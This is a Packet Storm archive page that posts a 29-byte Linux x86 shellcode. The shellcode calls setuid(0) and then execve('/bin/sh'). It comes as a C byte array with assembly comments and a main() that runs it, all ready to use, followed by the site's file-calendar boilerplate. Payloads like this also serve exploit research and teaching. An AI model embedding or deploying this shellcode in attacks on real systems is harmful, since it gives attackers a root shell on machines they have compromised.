what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

29 Bytes setuid(0) And execve("/bin/sh",...) Shellcode

29 Bytes setuid(0) And execve("/bin/sh",...) Shellcode
Posted Apr 24, 2010
Authored by Marcin Ulikowski

29 bytes small setuid(0) and execve("/bin/sh",...) shellcode.

tags | shellcode
SHA-256 | bf11caa3797eaf5b8e59dc0d530a61d2fc9afc1e6256a15d978aab04a9db9369

29 Bytes setuid(0) And execve("/bin/sh",...) Shellcode

Change Mirror Download


# Exploit Title: 29 byte-long setuid(0) + execve("/bin/sh",...) shellcode
# Date: 2005-03-04
# Author: Marcin Ulikowski
# Software Link: http://elceef.itsec.pl/sh.c
# Tested on: Linux
# Code :

/* 29 byte-long setuid(0) + execve("/bin/sh",...) shellcode
by Marcin Ulikowski <elceef@itsec.pl> */

#include <unistd.h>

char shellcode[] =
"\x31\xdb" /* xor %ebx,%ebx */
"\x8d\x43\x17" /* lea 0x17(%ebx),%eax */
"\xcd\x80" /* int $0x80 */
"\x53" /* push %ebx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x99" /* cltd */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */

int main(void) {
void(*f)()=(void*)shellcode;f();
return 0;
}


Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close